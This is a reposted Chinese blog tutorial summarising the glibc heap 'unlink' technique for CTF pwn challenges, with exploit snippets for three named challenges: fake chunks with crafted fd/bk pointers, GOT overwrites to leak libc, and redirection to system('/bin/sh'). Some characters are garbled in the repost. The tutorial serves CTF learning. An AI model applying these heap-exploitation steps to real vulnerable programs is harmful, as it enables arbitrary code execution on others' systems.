我是靠谱客的博主 成就墨镜,最近开发中收集的这篇文章主要介绍CTF用户态pwn总结(二) UnlinkCTF用户态pwn总结(二) Unlink,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

CTF用户态pwn总结(二) Unlink

unlink是CTF中非常常见的一种题型

unlink时的一些性质

unlink是在free掉一个chunk的时候,如果与之相邻的chunk是free状态,并且不是投票chunk时,会将chunk从原来的链表中unlink,并触发合并,fast bin并不会触发合并,只有当满足条件触发fast bin合并时,即当申请的chunk大小大于fast bins,在搜素smallbins之前,会将相邻的fastbins chunk合并。

unlink检查

unlink时需要检查chunk的fd指向的chunk的bk是否指向当前chunk,bk指针指向的fd是否指向当前chunk。

unlink最终实现的效果

unlink最终会实现任意地址写,但写的东西是固定的地址,将fd地址+0x18写为chunk的bk,将bk+0x10写入chunk的fd。如果是个全局变量存储每个chunk的地址,即可通过edit改写全局变量。

例题

CTF题目常见的一种unlink是题目中存在一个全局变量数组,用这个数组存储malloc之后的指针。如此,只要覆盖申请出来的一块chunk的fd为全局变量-0x10,bk为-0x18,这样即可通过检查。

例1hitcon ctf stkof:

此题存在一个可以无限写的函数,属于最简单的一种unlink,直接通过堆溢出改写chunk结构。

#假设全局变量为example

alloc(0x30)#0

alloc(0x80)#1

alloc(0x20)#2

alloc(0x30)#3

alloc(0x40)#4
payload = p64(0x0)+p64(0x30)+p64(example - 0x18)+p64(example - 0x10)

example 第一项存储的是0的地址,因此将0的fd和bk改了之后,可以绕过检查

payload += ‘a’*0x10+p64(0x30)+p64(90)

free(1)#

触发unlink example[0]的值变为了 example-0x18

这个时候通过编辑example[0]即可实现对整个数组的控制。其后通过将free的got地址放入数组中的某一项,比如放入example[2],然后改写free的got表地址为puts的plt地址

payload = “”

payload += p64(puts_got)+p64(free_got)+p64(atoi_got)

edit(0,‘a’*0x18+payload)

edit(1,p64(puts_plt))

此时可以通过free(0),这时会puts(puts_got),打印了puts的got表地址,成功leak libc。有了libc之后,通过偏移量得倒system的地址,再利用同样的原理将got表改为system即可。至于"/bin/sh"可以随便放在一个chunk里面。

例2网鼎杯的一道pwn

babyheap

这题的考察点在于,对chunk size的大小进行了限制,只能分配0x30大小的chunk,而且没有溢出,不能改写下一个chunk的size位的大小。但是这个题存在一个use after free漏洞,我们采取的利用思路是: 首先通过use after free 打印fast bins chunk,泄漏堆地址,之后我们改写链表尾部chunk的fd指针,使分配直接在堆上,从而覆盖一个chunk的size位,之后在堆上再伪造一块free chunk,触发unlink。

alloc(0,‘A’*0x18+p64(0x31))

alloc(1,‘A’*0x18+p64(0x31))

alloc(2,‘A’*0x18+p64(0x31))

注意不要忘记伪造size位,以便于下面用来在此地申请chunk,从而改写fast bins 的大小

free(0)

free(1)

free(2)

show(2)

p = s.recvuntil(‘Done’)

p = p.ljust(8,’x00’)

heap = u64§

此时收到的fd的指针是指向1的,因为fastbins 链表是后进先出

heap_base = heap - 0x30

edit(2,p64(heap_base+0x20))

heap的地址的到了,如何得到libc的基址呢?我们需要精心构造chunk,以便于我们

改写2的fd

alloc(3,‘a’)

alloc(4,p64(0)+p64(0x101))

改写了1的size,下面需要伪造chunk

alloc(5,‘a’)

alloc(6,p64(0x0)+p64(0x41)+p64(example - 0x18)+p64(example - 0x10))

example 为全局变量数组存放第6个chunk位置

alloc(7,‘a’*0x10+p64(0x40)+p64(0x40))

free(1)
####这个时候free 1,因为1的size满足small bins,会触发unlink,0x101的位置位于7中,是我们伪造的chunk,其pre_size是0x40,向前0x40正好是位于6中我们伪造的一个chunk中,会将其unlink下来,如此就可以将地址写入。之后的利用同上一个例子,改写got表。不过,有show,可以直接打印got表泄漏libc,不需要再改free了

例三

hitcon ctf sleepy holder

再进阶,增加限制只能申请40 4000 400000的chunk。而且只能申请三次,不能像上一题一样无限申请实现扩增fast bin chunk unlink。所以这题利用的是fast bins consolidate

small middle big chunk都只能存在一个:

add(‘small’,‘a’)

delete(‘small’)

add(‘middle’,‘b’)

此时small chunk的fast bins chunk进入了unsorted bins,并将middle chunk的pre in use 位值0

add(‘big’,‘c’)

delete(‘small’)

此时double free ,将small chunk再次放入了fast bins。这样做的目的是再次申请的时候维持middle chunk的pre in use 位继续保持0

payload = p64(0)+p64(0x21)+p64(example - 0x18)+p64(example - 0x10)+p64(0x20)

伪造好了unlink的fake chunk,这个时候free middle即可实现unlink,改写全局变量,剩下的利用方法同例一例二

free(‘middle’)

下一篇准备更新large bin attack,一般需要结合off by null和off by one。large bin attack并没有fast bin 和unlink常见,一般作为难得分题

最后

以上就是成就墨镜为你收集整理的CTF用户态pwn总结(二) UnlinkCTF用户态pwn总结(二) Unlink的全部内容,希望文章能够帮你解决CTF用户态pwn总结(二) UnlinkCTF用户态pwn总结(二) Unlink所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(51)

评论列表共有 0 条评论

立即
投稿
返回
顶部